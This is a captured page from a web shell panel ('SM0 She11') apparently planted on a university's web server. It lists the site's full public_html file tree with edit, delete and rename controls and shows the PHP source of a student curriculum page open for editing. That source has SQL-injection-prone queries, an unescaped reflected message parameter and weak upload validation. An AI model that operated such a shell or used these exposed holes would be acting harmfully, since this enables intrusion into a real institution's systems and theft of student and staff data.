SM0 She11
Path:
/
/
home
/
fbninedflnkd
/
public_html
Full Path (server): /home/fbninedflnkd/public_html
Create Fil3
Upl04d Fil3
📄 .ftpquota
[E]
[D]
[R]
📄 .gitignore
[E]
[D]
[R]
📄 .htaccess
[E]
[D]
[R]
📁 .well-known
Open
[D]
[R]
📄 3dd6ec9d0adea04f.crt
[E]
[D]
[R]
📄 3dd6ec9d0adea04f.pem
[E]
[D]
[R]
📄 Crypto.php
[E]
[D]
[R]
📄 README.md
[E]
[D]
[R]
📄 about_college.php
[E]
[D]
[R]
📄 about_hospital.php
[E]
[D]
[R]
📄 about_university.php
[E]
[D]
[R]
📄 academic_flexibility.php
[E]
[D]
[R]
📁 accessap
Open
[D]
[R]
📄 account_detail.php
[E]
[D]
[R]
📁 admission
Open
[D]
[R]
📄 admission_bhms.php
[E]
[D]
[R]
📄 admission_md.php
[E]
[D]
[R]
📄 admission_md_form_edit.php
[E]
[D]
[R]
📄 aiapget_register_form.php
[E]
[D]
[R]
📄 aiapget_thanks.php
[E]
[D]
[R]
📁 ajax
Open
[D]
[R]
📄 ajax.php
[E]
[D]
[R]
📄 ajaxdissertation.php
[E]
[D]
[R]
📄 alumni_association.php
[E]
[D]
[R]
📄 alumni_engagement.php
[E]
[D]
[R]
📄 anatomy_profile_view.php
[E]
[D]
[R]
📄 anti_ragging.php
[E]
[D]
[R]
📄 apex_authorities.php
[E]
[D]
[R]
📁 assests
Open
[D]
[R]
📄 audio_visual_recording_room.php
[E]
[D]
[R]
📄 awards_recognition.php
[E]
[D]
[R]
📄 bhms_1.php
[E]
[D]
[R]
📄 bhms_2.php
[E]
[D]
[R]
📄 bhms_3.php
[E]
[D]
[R]
📄 bhms_admission_declar.php
[E]
[D]
[R]
📄 bhms_admission_form_a.php
[E]
[D]
[R]
📄 bhms_admission_form_b.php
[E]
[D]
[R]
📄 bhms_edit_admission_form.php
[E]
[D]
[R]
📄 bhms_edit_thanks.php
[E]
[D]
[R]
📄 bhmspgphd_curriculum.php
[E]
[D]
[R]
📄 blog.php
[E]
[D]
[R]
📄 board_of_managment.php
[E]
[D]
[R]
📄 caste_discrimnation.php
[E]
[D]
[R]
📄 catering_student_diversity.php
[E]
[D]
[R]
📄 ccavResponseHandlerbhms.php
[E]
[D]
[R]
📄 ccavResponseHandlerevent.php
[E]
[D]
[R]
📄 ccavResponseHandlereventfront.php
[E]
[D]
[R]
📄 ccavResponseHandlertest.php
[E]
[D]
[R]
📄 cch.php
[E]
[D]
[R]
📁 cgi-bin
Open
[D]
[R]
📄 change_password.php
[E]
[D]
[R]
📄 change_password_faculty.php
[E]
[D]
[R]
📄 clg_Placementslider.php
[E]
[D]
[R]
📄 clg_Popupslider.php
[E]
[D]
[R]
📄 clg_VideoGallary.php
[E]
[D]
[R]
📄 clg_blog.php
[E]
[D]
[R]
📄 clg_blog_detail.php
[E]
[D]
[R]
📄 clg_photoGallary.php
[E]
[D]
[R]
📄 clg_videoslider.php
[E]
[D]
[R]
📄 clinical_equipment_laboratory_learning_resources.php
[E]
[D]
[R]
📄 clinical_material.php
[E]
[D]
[R]
📄 cme.php
[E]
[D]
[R]
📄 collaboration.php
[E]
[D]
[R]
📄 college.php
[E]
[D]
[R]
📄 collegeContactUs.php
[E]
[D]
[R]
📄 collegeNonTeaching.php
[E]
[D]
[R]
📄 collegePharmaContactUs.php
[E]
[D]
[R]
📄 college_administration.php
[E]
[D]
[R]
📄 college_departments.php
[E]
[D]
[R]
📄 college_logout.php
[E]
[D]
[R]
📄 college_pharma.php
[E]
[D]
[R]
📁 component
Open
[D]
[R]
📄 composition_iqac.php
[E]
[D]
[R]
📄 conference.php
[E]
[D]
[R]
📁 connection
Open
[D]
[R]
📄 consultDent.php
[E]
[D]
[R]
📄 consultGenOpd.php
[E]
[D]
[R]
📄 consultGyaObs.php
[E]
[D]
[R]
📄 consultSkinOpd.php
[E]
[D]
[R]
📄 consultSpOpd.php
[E]
[D]
[R]
📄 consultSurg.php
[E]
[D]
[R]
📄 consultUnivDisp.php
[E]
[D]
[R]
📄 consultancy.php
[E]
[D]
[R]
📄 contact_us.php
[E]
[D]
[R]
📄 copopos.php
[E]
[D]
[R]
📄 council_of_managment.php
[E]
[D]
[R]
📄 courses.php
[E]
[D]
[R]
📄 criteria_1.php
[E]
[D]
[R]
📄 criteria_2.php
[E]
[D]
[R]
📄 criteria_3.php
[E]
[D]
[R]
📄 criteria_4.php
[E]
[D]
[R]
📄 criteria_5.php
[E]
[D]
[R]
📄 criteria_6.php
[E]
[D]
[R]
📄 criteria_7.php
[E]
[D]
[R]
📄 curriculum_design_development.php
[E]
[D]
[R]
📄 curriculum_enrichment.php
[E]
[D]
[R]
📄 customer_feedback.php
[E]
[D]
[R]
📄 dept_PoM_pg.php
[E]
[D]
[R]
📄 dept_anatomy.php
[E]
[D]
[R]
📄 dept_c_path.php
[E]
[D]
[R]
📄 dept_forensic_toxicology.php
[E]
[D]
[R]
📄 dept_ipd.php
[E]
[D]
[R]
📄 dept_materia_medica.php
[E]
[D]
[R]
📄 dept_materia_medica_pg.php
[E]
[D]
[R]
📄 dept_o_m.php
[E]
[D]
[R]
📄 dept_o_m_pg.php
[E]
[D]
[R]
📄 dept_o_n_g.php
[E]
[D]
[R]
📄 dept_opd.php
[E]
[D]
[R]
📄 dept_p_n_b.php
[E]
[D]
[R]
📄 dept_p_n_r.php
[E]
[D]
[R]
📄 dept_path.php
[E]
[D]
[R]
📄 dept_pediatrics_pg.php
[E]
[D]
[R]
📄 dept_pharmacy_pg.php
[E]
[D]
[R]
📄 dept_psm.php
[E]
[D]
[R]
📄 dept_radio.php
[E]
[D]
[R]
📄 dept_rept.php
[E]
[D]
[R]
📄 dept_rept_pg.php
[E]
[D]
[R]
📄 dept_surge.php
[E]
[D]
[R]
📄 doctors.php
[E]
[D]
[R]
📄 dvv_report.php
[E]
[D]
[R]
📄 error_log
[E]
[D]
[R]
📄 evaluation_process_and_reforms.php
[E]
[D]
[R]
📄 event_pay.php
[E]
[D]
[R]
📄 event_thanks.php
[E]
[D]
[R]
📄 extended_profile.php
[E]
[D]
[R]
📄 extension_activities.php
[E]
[D]
[R]
📄 faculty.php
[E]
[D]
[R]
📄 faculty_and_staff_empowerment_strategies.php
[E]
[D]
[R]
📄 faculty_change_password.php
[E]
[D]
[R]
📄 faculty_dissertation_md.php
[E]
[D]
[R]
📄 faculty_profile.php
[E]
[D]
[R]
📄 faculty_student_add_note.php
[E]
[D]
[R]
📄 faculty_student_allot_md.php
[E]
[D]
[R]
📄 faculty_student_notes.php
[E]
[D]
[R]
📄 faculty_student_profile_view.php
[E]
[D]
[R]
📄 faculty_synopsis_md.php
[E]
[D]
[R]
📄 faculty_update.php
[E]
[D]
[R]
📄 financial_management_and_resource_mobilization.php
[E]
[D]
[R]
📄 footer.php
[E]
[D]
[R]
📄 forensic_profile_view.php
[E]
[D]
[R]
📄 gd_bundle-g2-g1.crt
[E]
[D]
[R]
📄 general_campus_facility.php
[E]
[D]
[R]
📄 gov_of_raj.php
[E]
[D]
[R]
📄 governance_leadership_and_management.php
[E]
[D]
[R]
📄 green_campus.php
[E]
[D]
[R]
📄 guiding_lig.php
[E]
[D]
[R]
📄 guiding_light.php
[E]
[D]
[R]
📄 hContactUs.php
[E]
[D]
[R]
📄 home_uni.php
[E]
[D]
[R]
📁 homoeopathyuniversity.com
Open
[D]
[R]
📁 homoeopathyuniversity.org
Open
[D]
[R]
📄 hos_Popupslider.php
[E]
[D]
[R]
📄 hos_videoslider.php
[E]
[D]
[R]
📄 hospital.php
[E]
[D]
[R]
📄 hospital_VideoGallary.php
[E]
[D]
[R]
📄 hospital_blog.php
[E]
[D]
[R]
📄 hospital_blog_detail.php
[E]
[D]
[R]
📄 hospital_logout.php
[E]
[D]
[R]
📄 hospital_photoGallary.php
[E]
[D]
[R]
📄 hospital_staff.php
[E]
[D]
[R]
📄 hospital_temp_blog.php
[E]
[D]
[R]
📄 iiqa.php
[E]
[D]
[R]
📄 information_manual.php
[E]
[D]
[R]
📄 infrastructure.php
[E]
[D]
[R]
📄 infrastructure_and_learning_resources.php
[E]
[D]
[R]
📄 innovation_ecosystem.php
[E]
[D]
[R]
📄 institutional_distinctivenes.php
[E]
[D]
[R]
📄 institutional_values_and_best_practices.php
[E]
[D]
[R]
📄 institutional_values_and_social_responsibilities.php
[E]
[D]
[R]
📄 institutional_vision_and_leadership.php
[E]
[D]
[R]
📄 internList.php
[E]
[D]
[R]
📄 internal_quality_assurance_system.php
[E]
[D]
[R]
📄 international_student_cell.php
[E]
[D]
[R]
📄 internships.php
[E]
[D]
[R]
📄 it_infrastructure.php
[E]
[D]
[R]
📄 jhu.php
[E]
[D]
[R]
📄 library_learning_resource.php
[E]
[D]
[R]
📄 login_faculty_clg.php
[E]
[D]
[R]
📄 login_student_bhms.php
[E]
[D]
[R]
📄 login_student_clg.php
[E]
[D]
[R]
📄 login_student_md.php
[E]
[D]
[R]
📄 maintenance_campus_infrastructure.php
[E]
[D]
[R]
📄 marksheet_revaluation.php
[E]
[D]
[R]
📄 materia_profile_view.php
[E]
[D]
[R]
📄 md_course.php
[E]
[D]
[R]
📄 md_materia_profile_view.php
[E]
[D]
[R]
📄 md_organon_profile_view.php
[E]
[D]
[R]
📄 md_pediatrics_profile_view.php
[E]
[D]
[R]
📄 md_repertory_profile_view.php
[E]
[D]
[R]
📄 message_superintendent.php
[E]
[D]
[R]
📄 messages.php
[E]
[D]
[R]
📄 minutes_meeting_1.php
[E]
[D]
[R]
📄 minutes_meeting_2.php
[E]
[D]
[R]
📄 minutes_meeting_3.php
[E]
[D]
[R]
📄 minutes_meeting_4.php
[E]
[D]
[R]
📄 minutes_meeting_5.php
[E]
[D]
[R]
📄 minutes_meeting_6.php
[E]
[D]
[R]
📄 minutes_meeting_7.php
[E]
[D]
[R]
📄 minutes_meeting_8.php
[E]
[D]
[R]
📄 nabh_certificate.php
[E]
[D]
[R]
📄 nch.php
[E]
[D]
[R]
📄 nch_permission.php
[E]
[D]
[R]
📁 new
Open
[D]
[R]
📄 non_teaching_faculty.php
[E]
[D]
[R]
📄 obstetrics_profile_view.php
[E]
[D]
[R]
📄 online_phd_admission_form.php
[E]
[D]
[R]
📄 ordinance.php
[E]
[D]
[R]
📄 organogram.php
[E]
[D]
[R]
📄 organon_profile_view.php
[E]
[D]
[R]
📄 our_success_story.php
[E]
[D]
[R]
📄 pathology_profile_view.php
[E]
[D]
[R]
📄 permission_court.php
[E]
[D]
[R]
📄 pg_resi_ipd_dc.php
[E]
[D]
[R]
📄 pg_resi_opd_dc.php
[E]
[D]
[R]
📄 pharmacy_profile_view.php
[E]
[D]
[R]
📄 phd_admission_form.php
[E]
[D]
[R]
📄 phd_download_form.php
[E]
[D]
[R]
📄 phd_edit_admission_form.php
[E]
[D]
[R]
📄 phd_edit_thanks.php
[E]
[D]
[R]
📄 phd_online_form_login.php
[E]
[D]
[R]
📄 phd_pay_admission.php
[E]
[D]
[R]
📄 phd_registration_form.php
[E]
[D]
[R]
📄 phd_scholar_list.php
[E]
[D]
[R]
📄 phd_thanks.php
[E]
[D]
[R]
📄 physical_facilities_teaching_learning.php
[E]
[D]
[R]
📄 physical_recreational_activity.php
[E]
[D]
[R]
📄 physiology_profile_view.php
[E]
[D]
[R]
📄 placements.php
[E]
[D]
[R]
📄 pom_profile_view.php
[E]
[D]
[R]
📄 previous_papers.php
[E]
[D]
[R]
📄 promotion_of_research_and_facilities.php
[E]
[D]
[R]
📄 psm_profile_view.php
[E]
[D]
[R]
📄 repertory_profile_view.php
[E]
[D]
[R]
📄 research_committee.php
[E]
[D]
[R]
📄 research_course.php
[E]
[D]
[R]
📄 research_dissertation.php
[E]
[D]
[R]
📄 research_innovations_and_extension.php
[E]
[D]
[R]
📄 research_policy.php
[E]
[D]
[R]
📄 research_program.php
[E]
[D]
[R]
📄 research_publications_and_awards.php
[E]
[D]
[R]
📄 research_supervisor_list.php
[E]
[D]
[R]
📄 resource_mobilization_for_research.php
[E]
[D]
[R]
📄 results.php
[E]
[D]
[R]
📄 rotp.php
[E]
[D]
[R]
📄 rti.php
[E]
[D]
[R]
📄 self_study_criteria_1.php
[E]
[D]
[R]
📄 self_study_img_report.php
[E]
[D]
[R]
📄 self_study_report.php
[E]
[D]
[R]
📁 seminar
Open
[D]
[R]
📄 seminar.php
[E]
[D]
[R]
📄 sexual_harrasment.php
[E]
[D]
[R]
📄 sponsoring_society.php
[E]
[D]
[R]
📄 ssr.php
[E]
[D]
[R]
📄 state_noc.php
[E]
[D]
[R]
📄 strategy_developments_and_deployment.php
[E]
[D]
[R]
📄 student.php
[E]
[D]
[R]
📄 student_attendance_md.php
[E]
[D]
[R]
📄 student_change_password.php
[E]
[D]
[R]
📄 student_college_notes.php
[E]
[D]
[R]
📄 student_council.php
[E]
[D]
[R]
📄 student_curriculum.php
[E]
[D]
[R]
📄 student_curriculum_md.php
[E]
[D]
[R]
📄 student_details_bhms.php
[E]
[D]
[R]
📄 student_details_md.php
[E]
[D]
[R]
📄 student_dissertation_md.php
[E]
[D]
[R]
📄 student_edit_profile.php
[E]
[D]
[R]
📄 student_edit_profile_bhms.php
[E]
[D]
[R]
📄 student_edit_profile_md.php
[E]
[D]
[R]
📄 student_edit_profile_phd.php
[E]
[D]
[R]
📄 student_enrollment_and_profile.php
[E]
[D]
[R]
📄 student_examination_form_bhms_ccavResponseHandler.php
[E]
[D]
[R]
📄 student_examination_form_bhms_old_062020.php
[E]
[D]
[R]
📄 student_examination_form_bhms_pay.php
[E]
[D]
[R]
📄 student_examination_form_bhms_thanks.php
[E]
[D]
[R]
📄 student_examination_form_md_ccavResponseHandler.php
[E]
[D]
[R]
📄 student_examination_form_md_old_062020.php
[E]
[D]
[R]
📄 student_examination_form_md_pay.php
[E]
[D]
[R]
📄 student_examination_form_md_thanks.php
[E]
[D]
[R]
📄 student_fee_form.php
[E]
[D]
[R]
📄 student_fee_form_new.php
[E]
[D]
[R]
📄 student_forgot_password.php
[E]
[D]
[R]
📄 student_general_case_list_md.php
[E]
[D]
[R]
📄 student_general_case_md.php
[E]
[D]
[R]
📄 student_marksheet.php
[E]
[D]
[R]
📄 student_marksheet_revaluation.php
[E]
[D]
[R]
📄 student_otp_verify.php
[E]
[D]
[R]
📄 student_participation_and_activities.php
[E]
[D]
[R]
📄 student_performance_and_learning_outcomes.php
[E]
[D]
[R]
📄 student_previous_papers.php
[E]
[D]
[R]
📄 student_profile.php
[E]
[D]
[R]
📄 student_progression.php
[E]
[D]
[R]
📄 student_registration_noc.php
[E]
[D]
[R]
📄 student_registration_noc_ccavResponseHandler.php
[E]
[D]
[R]
📄 student_registration_noc_pay.php
[E]
[D]
[R]
📄 student_registration_noc_thanks.php
[E]
[D]
[R]
📄 student_registration_noc_upload.php
[E]
[D]
[R]
📄 student_revaluation_ccavResponseHandler.php
[E]
[D]
[R]
📄 student_revaluation_old.php
[E]
[D]
[R]
📄 student_revaluation_pay.php
[E]
[D]
[R]
📄 student_revaluation_thanks.php
[E]
[D]
[R]
📄 student_satisfaction_survey.php
[E]
[D]
[R]
📄 student_support.php
[E]
[D]
[R]
📄 student_support_and_progression.php
[E]
[D]
[R]
📄 student_synopsis_md.php
[E]
[D]
[R]
📄 student_university_certificate.php
[E]
[D]
[R]
📄 student_university_certificate_ccavResponseHandler.php
[E]
[D]
[R]
📄 student_university_certificate_olds.php
[E]
[D]
[R]
📄 student_university_certificate_pay.php
[E]
[D]
[R]
📄 student_university_certificate_thanks.php
[E]
[D]
[R]
📄 surgery_profile_view.php
[E]
[D]
[R]
📄 teacher_profile_and_quality.php
[E]
[D]
[R]
📄 teaching_faculty.php
[E]
[D]
[R]
📄 teaching_hospital.php
[E]
[D]
[R]
📄 teaching_learning_and_evaluation.php
[E]
[D]
[R]
📄 teaching_learning_process.php
[E]
[D]
[R]
📄 test_admission_form.php
[E]
[D]
[R]
📄 thank_event.php
[E]
[D]
[R]
📄 uni_Popupslider.php
[E]
[D]
[R]
📄 uni_VideoGallary.php
[E]
[D]
[R]
📄 uni_event_form.php
[E]
[D]
[R]
📄 uni_event_form_old.php
[E]
[D]
[R]
📄 uni_photoGallary.php
[E]
[D]
[R]
📄 uni_videoslider.php
[E]
[D]
[R]
📄 universityAct.php
[E]
[D]
[R]
📄 university_affiliation.php
[E]
[D]
[R]
📄 university_logout.php
[E]
[D]
[R]
📄 univresity_authorities.php
[E]
[D]
[R]
📄 updateProfile.php
[E]
[D]
[R]
📄 veer_bal_diwas.php
[E]
[D]
[R]
📄 vision_mission_objective.php
[E]
[D]
[R]
📄 water_convsersation.php
[E]
[D]
[R]
📄 youtubeLive.php
[E]
[D]
[R]
Editing: student_curriculum.php
<?php error_reporting(E_PARSE | E_ERROR); include_once("connection/connection.php"); if(!isset($_SESSION['studentid'])) { header("location:login_student_clg.php"); } if(isset($_SESSION['studentid'])) { $id = $_SESSION['studentid']; $course = $_SESSION['course']; if($course == 'BHMS'): $sql = "SELECT * FROM `tbl_clg_student_bhms` WHERE `clg_student_bhms_id`= '".$id."'"; $data = mysqli_query($connection,$sql); $sdata=mysqli_fetch_array($data); elseif($course == 'MD'): $sql = "SELECT * FROM `tbl_clg_student_md` WHERE `clg_student_md_id`= '".$id."'"; $data = mysqli_query($connection,$sql); $sdata=mysqli_fetch_array($data); endif; } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <link href="assests/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="assests/bootstrap/css/bootstrap.css" rel="stylesheet"> <link href="assests/css/style.css" rel="stylesheet" type="text/css"> <link href='assests/fonts/Slabo_27px/Slabo27px-Regular.ttf' rel='stylesheet' type='text/css'> <link href='assests/fonts/Economica/Economica-Regular.ttf' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Cinzel' rel='stylesheet' type='text/css'> <link href="assests/bootstrap/css/full-slider.css" rel="stylesheet"> <link rel='shortcut icon' href='assests/images/favicon.png' type='image/x-icon'/> <script src="assests/js/jquery.js"></script> <!-- Bootstrap Core JavaScript --> <script src="assests/bootstrap/js/bootstrap.min.js"></script> <script src="assests/bootstrap/js/bootstrap.js"></script> <link rel="stylesheet" href="assests/css/bootstrap-select.min.css"> <link rel="stylesheet" href="assests/css/bootstrap-select.css"> <!-- Latest compiled and minified JavaScript --> <script src="assests/js/bootstrap-select.min.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script> <script src="assests/js/bootstrap-select.js"></script> <script type="text/javascript" src='assests/js/jquery.validate.min.js'></script> <script> (function(){ $(window).scroll(function() { // check if window scroll for more than 430px. May vary // as per the height of your main banner. if($(this).scrollTop() > 100) { $('.navbar').addClass('opaque'); $('.navigation').addClass('blink'); // adding the opaque class } else { $('.navbar').removeClass('opaque'); $('.navigation').removeClass('blink'); // removing the opaque class } }); })(); </script> <script> $(function(){ $(".dropdown").hover( function() { $('.dropdown-menu', this).stop( true, true ).fadeIn("fast"); $(this).toggleClass('open'); $('b', this).toggleClass("caret caret-up"); }, function() { $('.dropdown-menu', this).stop( true, true ).fadeOut("fast"); $(this).toggleClass('open'); $('b', this).toggleClass("caret caret-up"); }); }); </script> <script> $(document).ready(function () { var mySelect = $('#first-disabled2'); $('#special').on('click', function () { mySelect.find('option:selected').prop('disabled', true); mySelect.selectpicker('refresh'); }); $('#special2').on('click', function () { mySelect.find('option:disabled').prop('disabled', false); mySelect.selectpicker('refresh'); }); $('#basic2').selectpicker({ liveSearch: true, maxOptions: 1 }); }); </script> <title>Student</title> </head> <body> <?php include("component/college/college_seprater.php");?> <?php include("component/college/college_navbar.php");?> <div class="courses"> <div class="container"> <div id="scuss_msg"> <?php if(isset($_GET['msg'])){ ?> <?php if($_GET['msg']) { echo $_GET['msg']; } ?> <?php } ?> </div> <div class="col-md-12 university_team_heading"> <h3>Curriculum for MD</h3> <a href="student.php?msg=profile"> <h3 style="font-size: 24px;color: #fff;margin-right: 35px;text-align: right;margin-top: -30px;font-weight: normal;">Back</h3> </a> </div> </div> </div> <?php $day = date("d", mktime(0, 0, 0, date("m"),date("d")-1,date("Y"))); $month = date('m'); $year = date('Y'); if(isset($_POST['submit'])) { if (isset($_POST['joining_date'])) { $joining_date = $_POST['joining_date']; $temp = true; } if($temp==true) { $mdsql = mysqli_query($connection,"SELECT * FROM tbl_clg_student_md WHERE joining_date = '".$joining_date."' AND status = 1"); $mdrow = mysqli_fetch_array($mdsql); } } $allotsql = mysqli_query($connection,"SELECT a.*,f.clg_faculty_id,f.name,f.email,f.mobileno FROM `tbl_clg_allotment_guide` as a LEFT JOIN tbl_clg_faculty as f ON a.clg_faculty_id = f.clg_faculty_id WHERE a.clg_student_md_id = '".$id."'"); $allotrow = mysqli_fetch_array($allotsql); $synopsissql = mysqli_query($connection,"SELECT * FROM `tbl_clg_synopsis` WHERE status = 1 && `clg_student_md_id`= '".$id."'"); $synpdata=mysqli_fetch_array($synopsissql); $disser_date = $synpdata['last_date_exam_1']; ?> <?php $curr_date = date('Y-m-d'); $joining_date=$sdata['joining_date']; $guide_date= date('Y-m-d', strtotime($joining_date. ' + 60 days')); $synopsis_date= date('Y-m-d', strtotime($joining_date. ' + 365 days')); $date1_allot = strtotime($joining_date); $date2_allot = strtotime($guide_date); $diff_allot = $date2_allot - $date1_allot; $days_allot = round($diff_allot / 86400); $date1_syn = strtotime($joining_date); $date2_syn = strtotime($synopsis_date); $diff_syn = $date2_syn - $date1_syn; $days_syn = round($diff_syn / 86400); ?> <div class="container"> <div class="col-md-12"> <div class="col-md-3 student_university_heading_curriculum"> <a href="student_curriculum_md.php"><h3>Curriculum Download</h3></a> <a href="student_general_case_md.php"><h3>General Case Submission</h3></a> <a href="student_attendance_md.php"><h3>Attendance Submission</h3></a> <a href="student_synopsis_md.php"><h3>Synopsis Status</h3></a> <a href="student_general_case_list_md.php"><h3>General Case List</h3></a> <?php if($disser_date){?> <a href="student_dissertation_md.php"><h3>Dissertation</h3></a> <?php } ?> </div> <div class="col-md-9"> <div class="col-md-5"> <?php if($allotrow) { ?> <div class="table-responsive"> <label>Guide Detail:</label> <table class="table table-bordered"> <tbody> <tr> <td>Guide Name</td> <td><?php echo $allotrow['name']; ?></td> </tr> <tr> <td>Guide Email</td> <td><?php echo $allotrow['email']; ?></td> </tr> <tr> <td>Guide Mobile No</td> <td><?php echo $allotrow['mobileno']; ?></td> </tr> </tbody> </table> </div> <?php } else { ?> <div class="table-responsive"> <table class="table table-bordered"> <tbody> <tr> <td>Allotment of guide</td> <td>Before <strong><?php echo date('d F Y', strtotime($guide_date)); ?></strong> from the date of admission</td> </tr> </tbody> </table> </div> <?php } ?> </div> <?php if(isset($_POST['synopsis'])) { $upload_date = date('Y-m-d'); $synopsis_file = $_FILES['file']['name']; $temp=true; if(!empty($_FILES['file']['name'])){ $image = $upload_date.$_FILES['file']['name']; $source = $_FILES["file"]["tmp_name"]; $type = $_FILES["file"]["type"]; $name = explode(".", $image); $accepted_types = array('application/pdf'); foreach($accepted_types as $mime_type) { if($mime_type == $type) { $okay = true; break; } } $continue = strtolower($name[1]) == 'pdf' ? true : false; if(!$continue) { $errimage = '<p class="error">The file you are trying to upload is not a .pdf file. Please try again.</p>'; $temp=false; } if($_FILES["file"]["size"] > 5000000){ $errimage = '<p class="error">The file you are trying to upload size less than 5MB. Please try again.</p>'; $temp=false; } $target_path = "accessap/assests/image/clg_student_curriculum_md/synopsis/".$image; // change this to the correct site path if(move_uploaded_file($source, $target_path)) { } else { $errimage = '<p class="error">There was a problem with the upload. Please try again.</p>'; $temp=false; } } else { $errimage = '<p class="error">Please Upload Synopsis File </p>'; $temp=false; } if($temp==true) { $insertsyn = mysqli_query($connection,"INSERT INTO tbl_clg_synopsis SET `clg_student_md_id` = '".$id."', `upload_date` = '".$upload_date."', `file` = '".$image."', `created`= NOW()"); $insertid = mysqli_insert_id($connection); if($insertid) { $synoinsql = mysqli_query($connection,"SELECT * FROM `tbl_clg_synopsis` WHERE `clg_synopsis_id`= '".$insertid."'"); $synpinsdata=mysqli_fetch_array($synoinsql); $student_name = $sdata['name']; $student_email = $sdata['email']; $mail_to = $allotrow['email']; // Settings $name = "$student_name"; $email = "$student_email"; $to = "$mail_to"; $from = "$student_email"; $subject = "Here is your attachment"; $mainMessage = "Hi, here's the file."; $fileatt = "accessap/assests/image/clg_student_curriculum_md/synopsis/".$synpinsdata['file']; //file location $fileatttype = "application/pdf"; $fileattname = "synopsis.pdf"; //name that you want to use to send or you can use the same name $headers = "From: $from"; // File $file = fopen($fileatt, 'rb'); $data = fread($file, filesize($fileatt)); fclose($file); // This attaches the file $semi_rand = md5(time()); $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\""; $message = "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\n" . "Content-Transfer-Encoding: 7bit\n\n" . $mainMessage . "\n\n"; $data = chunk_split(base64_encode($data)); $message .= "--{$mime_boundary}\n" . "Content-Type: {$fileatttype};\n" . " name=\"{$fileattname}\"\n" . "Content-Disposition: attachment;\n" . " filename=\"{$fileattname}\"\n" . "Content-Transfer-Encoding: base64\n\n" . $data . "\n\n" . "--{$mime_boundary}--\n"; // Send the email mail($to, $subject, $message, $headers); echo"<script>alert('Synopsis Uploaded Successfully');</script>"; } else { echo"<script>alert('Data not Insert');</script>"; } } } ?> <?php if($curr_date < $synopsis_date) { ?> <?php if($synpdata){ ?> <div class="col-md-4"> <h3>Synopsis Submitted</h3> </div> <?php } else { ?> <form method="post" action="" enctype="multipart/form-data" id="synopsisform"> <div class="col-lg-7 col-md-7 col-sm-7 col-xs-12 form-group"> <label for="file">Synopsis Upload(Only PDF File / Late Date:- <?php echo date('d F Y', strtotime($synopsis_date)); ?>)</label> <div class="form-group"> <input type="file" name="file" id="file"> </div> <div> <?php if(isset($errimage)){?> <span><?php echo $errimage;?></span> <?php }?> </div> </div> <input type="submit" name="synopsis" value="Submit" class="btn btn-success Continue-btn" style="margin-top: 25px !important"/> </form> <?php } ?> <?php } else { ?> <div class="col-md-4"> <h3>Synopsis Submission Date <?php echo $synopsis_date; ?>.Please Submit Your Synopsis Contact Admin Or Guide.</h3> </div> <?php } ?> </div> </div> </div> <?php include("component/college/college_footer.php");?> <script> setTimeout(function(){ $("#scuss_msg").hide();},3000); setTimeout(function(){ $("#scuss_msg1").hide();},3000); </script> <!--Start of Tawk.to Script--> <script type="text/javascript"> var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date(); (function(){ var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0]; s1.async=true; s1.src='https://embed.tawk.to/569fcbc1942843aa26eba8f8/default'; s1.charset='UTF-8'; s1.setAttribute('crossorigin','*'); s0.parentNode.insertBefore(s1,s0); })(); </script> <!--End of Tawk.to Script--> </body> </html> <script type="text/javascript"> $(document).ready(function(){ $("#synopsisform").validate({ rules:{ file:{ required:true, extension: "pdf" }, }, messages:{ file:{ required:"input type is required", extension:"select valid input file format" }, }, }); }); </script>
Save